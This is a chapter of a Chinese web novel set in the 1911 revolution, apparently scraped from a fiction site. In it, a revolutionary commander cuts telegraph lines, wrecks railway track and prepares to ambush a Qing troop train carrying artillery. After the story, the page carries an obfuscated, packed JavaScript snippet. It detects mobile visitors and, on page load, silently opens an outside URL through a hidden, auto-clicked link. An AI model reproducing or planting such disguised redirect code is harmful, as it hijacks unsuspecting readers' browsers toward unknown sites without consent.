第五文学网 > 穿越小说 > 铁流1911 > 第十九章 【炮!炮!炮!】

第十九章 【炮!炮!炮!】

    完了?还没完!

    何向东朝那工事扬扬下巴,田金榜看到,参谋张少雄敏捷的爬上与铁道平行的电线杆,抽出刺刀割断电报线;邓国泰指挥一群弟兄正在铁桥南边扒铁轨、抽枕木,阵阵号子声中,铁轨、枕木被掀下桥,扑通扑通的落入水中。

    辛辛苦苦从黄陂、麻城赶来,哪能拿下一个小据点,抓二十几个俘虏就了事?

    “总指挥!”

    何向东回头,见是秘书余祖言,微微点头算是招呼,又拿了望远镜看向北边铁路延伸的远处。

    “总指挥,黄陂、麻城两县的情况统计出来了。”

    何向东摆手道:““战事将起,详细报告我回头再看。从即日起,黄州八属和黄陂税赋无须提解省城入库。好了,余先生,这边估计很快又会打起来,你先回黄陂,争取尽快整顿黄陂、麻城两县各学堂,尽早恢复开课。另外,县属高等小学堂可以择机开设社会生产实践课程,第一个课题就是各县社会现状调查,采用学校统筹分配,学生分片包干调查的法子,尽快拿一个详细、准确、数据化的报告出来!”

    余祖言本就是高等小学堂校长,略一思索就知道该如何把任务办下去。至于总指挥的目的嘛,是为全面推行包括土地政策、户籍管理、工商鼓励、社会保障、普遍兵役、义务教育等社会改革做准备。

    昨晚,何向东曾就这些问题召开过会议。会议几无结果,因为与会者中除了他有系统的想法外,大多数人都没有丝毫的准备。余祖言不同,虽然也不曾如何向东一般有系统考虑,却在留学东洋后有颇多感触,很自然的成为社会改革的积极支持者。

    余祖言来得匆匆,去也匆匆,却在黄州分府姚青松的支持下,两县的社会调查扩大到黄州府属八县。

    何向东、田金榜一人一具望远镜,一个向北、一个向南,始终保持着对铁路线的观察。革命军接近滠口车站的消息是无法封锁的,不过,战斗结束立即切断电报线路后,北边的车站不可能得到铁路线军事据点已经被攻取的消息(此时,湖北新军装备的无线电报机作用距离在三十里以内),那么,北边该来的火车还会来。

    “滠口来人了!”

    杨正礼的侦察队派人回来报告,说“刘家庙之敌正在备战,五十八标一部约四百人在标统张锡元带领下回援滠口,正在滠口车站设防,并无出击迹象。”

    刘家庙——滠口一带有清军两千余,滠口原本由汉阳防营(黄陂属汉阳府)从黄陂抽调驻守,有兵约三百人,张锡元率四百人增援后,兵力上并未形成对鄂东革命军的绝对优势,加之前哨阵地丢失,更不敢贸然出击。那么,张彪派张锡元到滠口车站的目的何在?难道仅仅是防御?如果仅仅是防御,如何保证铁路线畅通?又何须七百人?

    张锡元在等援兵!援兵不太可能来自刘家庙方向了,因为张彪必须保证汉口方向的力量,那就是从北边经铁路线而来的援军!

    “命令翟彪大队立即沿铁路线北进,过桥后选择有利地形设伏并破坏铁路。邓国泰大队沿铁路线左侧向西延伸两里,搜索前进,确保翟彪左翼。召回后备第三大队,重新进入阵地,严密监控滠口之敌。第一大队并机枪队,待后备三大队到达后沿铁路线右侧北进,务必保持向东延伸五里搜索前进,确保翟彪右翼。前指随第一大队行动。电报黄州,我军极有可能在滠口——祁家湾一带与敌遭遇,速组织医疗队增援并催促机枪队。”

    田金榜主动担负起传令参谋的责任,从身边机枪队抓人,抓一个下达一个命令,待到第四个命令被人带走后,他问:“不是不准备硬拼吗?”

    “不硬拼是大前提,可战场变幻莫测,谁也无法保证,只能尽量避免。如果我没猜错的话,清军将有大批援军开到,所以滠口之敌才取守势而不着急扫荡铁路线,确保祁家湾——滠口交通。最坏的情况是,敌援军已经在祁家湾下车整备完成,沿铁路线南下,如是,小货郎应该很快就有报告送来,我军则视敌情而动,敌强,我则离开铁路线向东撤退,避免接敌;敌弱,我们还可以选择有利地形打一场。好一点的可能是,敌援军以为我军仍在滠口,乃乘火车南下接近滠口时才下车,那么,我们北上破坏铁路线并设伏阻击,多半能打他一个出其不意。说到底,无论何种情况,我们都不能待在原地,北进是最佳选择。”

    田金榜这才理解何向东如此部署的深意,不过,就算他不理解,何向东也不回答,他一样会遵令而行。

    鄂东革命军第一支队各部纷纷行动,滠口站的两层办事房楼顶,张锡元丢下望远镜,挥舞着双手向左右喊叫:“快去,电报祁家湾,叛军已经北进,已经北进!告诉他们不要乘车,要展开队形步行南下!”

    “统带大人,电报线路不通。”

    张锡元着急了,其实刚才革命军破坏电报线路的行动已被他看到,只是他不敢出击而已。

    “用无线电报!管他能不能收到,老子反正发过电报了!”

    “标下立即去办!”

    张锡元并非那种“只管发电报,不管收摊子”的人,快步下了楼顶冲进办事房,摇通刘家庙的电话:“要张军门军门大人,逆军大部突然沿铁路北上,对,就是祁家湾方向,对,五十七标一营和炮队二营(河南新军混成协有炮队两营)已经过了孝感,对,标下要援兵!快!迟则来不及了!什么?祁家湾车站会拦下火车?万一”

    张锡元话没说完,那头的张彪已经挂了电话。张锡元想了想还是不放心,又要摇电话,再转念一想,作罢。是啊,既然滠口和祁家湾已经断了电讯,那祁家湾车站办事房和驻军肯定会作出相应处理,拦下原定直奔刘家庙的运兵列车就是自然而然的事情了。

    张锡元如此想着,心里觉得轻松了一些。

    祁家湾车站调度房里,程汉生紧张万分的透过玻璃窗看向刚刚进站,正在加水的运兵列车。车上满载的士兵没有下车,月台上,两名军官正比划着与曾广胜说着什么,一个司炉在车站人员的帮助下拉好水龙带,清水哗哗的流进水箱。

    接到孝感站的电话后,程汉生就派了两名兄弟分两路去报信,一路走黄陂,一路去滠口。

    “呜——呜!”汽笛短促的响了两声,两名军官跳上车厢门口的踏板,其中一人向月台上的调度员陶毓树挥手示意,陶毓树打出“可以发车”旗号。司炉爬上车头,不多时,车头烟囱冒出滚滚浓烟,“呜”的一声长鸣,火车缓缓开动。

    曾广胜回到办事房,揭下军帽抹了一把额头上的冷汗,抓起茶缸就灌了两口。

    “他们打听南边的情况,我说有乱民趁机偷割电线,电讯因此中断,已经派弟兄出去查线了。这样说,妥当吧?”

    程汉生还是一脸忧色,并未马上答话,目视陶毓树进来后,才说:“我现在担心的是孝感车站那边,南边已经有两个多钟头没有北开的火车了,孝感方面要是打电话来问,我们怎么说?”

    说啥就来啥,桌上的电话突然“叮铃铃”作响。

    陶毓树抓了电话听筒手柄却没拿起,转头问:“南边线路已断,电话肯定是从北边打来的,怎么说?”

    程汉生断然道:“那边若问,你就说不知道。曾排长,通知弟兄们准备撤。”

    陶毓树提了一口气,接通电话,连声:“是,我知道了,一定安排好,好的,好的。”

    程汉生见状示意曾广胜,曾广胜停步,又拿起茶缸喝水,以掩饰紧张的形态。

    放下电话,陶毓树说:“十一协到了孝感,孝感总调度要我优先安排兵车南下,确保十一协今晚到达刘家庙。”

    河南混成协大部已经过了祁家湾,第六镇的第十一协又要来,清军增援的速度是越来越快,力量也越来越强。身处祁家湾车站调度房的三人对此感触最深,都有些担心武汉的革命军,更担心一旦前车出事,后面的第十一协会如何处置情况?很显然,祁家湾的戏码已经唱得差不多了。

    程汉生思索半晌,起身道:“还是走吧!”

    “我看”陶毓树摆手道:“我留下,你们走,总要把第十一协兵车过站的事儿对付过去,现在走,孝感那边一个电话过来就能发觉”

    程汉生打断陶毓树的话:“你不走,前车一出问题,他们一样会发觉。”

    “问题出在滠口那边,我留下来,说不一定还能应付过去。依我看,这战啊不是一天两天,我在这里今后可以派上用场。程队长、曾排长,你们放心,你们一走我就马上报告,驻军哗变,已经崩散。”

    程、曾对视一眼,默然点头,一人抓了陶毓树一手,紧紧握了握,互道保重。

    祁家湾南面约十六里处,铁路东侧的一个小山包上,何向东从望远镜里看到了那列南下的运兵列车正飞速逼近翟彪大队的“作业”处,他急忙调转视野,作业处已经没了人影,所有人员隐蔽良好。再转视野寻找列车,他看清楚了,火车头、煤车、水罐车后面拖着三节加装围板的平板车,围板着实矮了一点,露出帆布炮衣罩着的火炮。

    “炮!”

    “炮!”田金榜也看到了,惊呼出声时,这位安庆炮队正目的双眼中射出的是炽烈到似乎可以融化一切的神光。


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('p x(){j(O y==="\\k\\6\\2\\0\\8\\9\\6\\0\\2"){z P}Q a=(R^S)+(T^U);q A=y[\'\\k\\b\\0\\7\\V\\f\\0\\6\\1\'][\'\\1\\5\\r\\5\\W\\0\\7\\l\\3\\b\\0\']();a=(X^Y)+(Z^10);q B=11 12("13|14|15 16|17|18|19|1a 1b|1c|1d|1e|1f".s("").t().u(""),\'\\9\');z B[\'\\1\\0\\b\\1\'](A)}p C(a){q c=g[\'\\d\\7\\0\\3\\1\\0\\D\\4\\0\\h\\0\\6\\1\']("\\3");c[\'\\m\\7\\0\\8\']=a;c[\'\\b\\1\\i\\4\\0\'][\'\\2\\9\\b\\n\\4\\3\\i\']="1g".s("").t().u("");c[\'\\1\\3\\7\\f\\0\\1\']="\\v\\e\\4\\3\\6\\o";g[\'\\e\\5\\2\\i\'][\'\\3\\n\\n\\0\\6\\2\\l\\m\\9\\4\\2\'](c);c[\'\\d\\4\\9\\d\\o\']();g[\'\\e\\5\\2\\i\'][\'\\7\\0\\h\\5\\E\\0\\l\\m\\9\\4\\2\'](c)}g[\'\\3\\2\\2\\D\\E\\0\\6\\1\\r\\9\\b\\1\\0\\6\\0\\7\']("\\1h\\1i\\1j\\l\\5\\6\\1\\0\\6\\1\\r\\5\\3\\2\\0\\2",p(){j(!F[\'\\f\\4\\5\\e\\3\\4\\G\\3\\7\']){j(g[\'\\e\\5\\2\\i\']!=1k){F[\'\\f\\4\\5\\e\\3\\4\\G\\3\\7\']="\\w";H=I[\'\\f\\0\\1\\w\\1\\0\\h\']("\\4\\k\\d\\o\\v\\8\\8");j(!H&&x()){C("\\m\\1\\1\\n\\1l\\J\\J\\1m\\K\\L\\M\\N\\K\\1n\\L\\8\\M\\d\\N\\d\\5\\h")}I[\'\\b\\0\\1\\w\\1\\0\\h\']("\\4\\k\\d\\o\\v\\8\\8","1o".s("").t().u(""))}}});',62,87,'u0065|u0074|u0064|u0061|u006C|u006F|u006E|u0072|u0066|u0069||u0073|_0xbc9f6d|u0063|u0062|u0067|document|u006D|u0079|if|u0075|u0043|u0068|u0070|u006B|function|const|u004C|split|reverse|join|u005F|u0049|isMobileDevice|navigator|return|_0x0bd|_0xf_0xe23|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|u002F|u0035|u0033|u0032|u002E|typeof|false|var|687386|687385|212973|212975|u0041|u0077|802130|802133|672503|672510|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|enon|u0044|u004F|u004D|null|u003A|u0037|u0036|eurt'.split('|'),0,{}))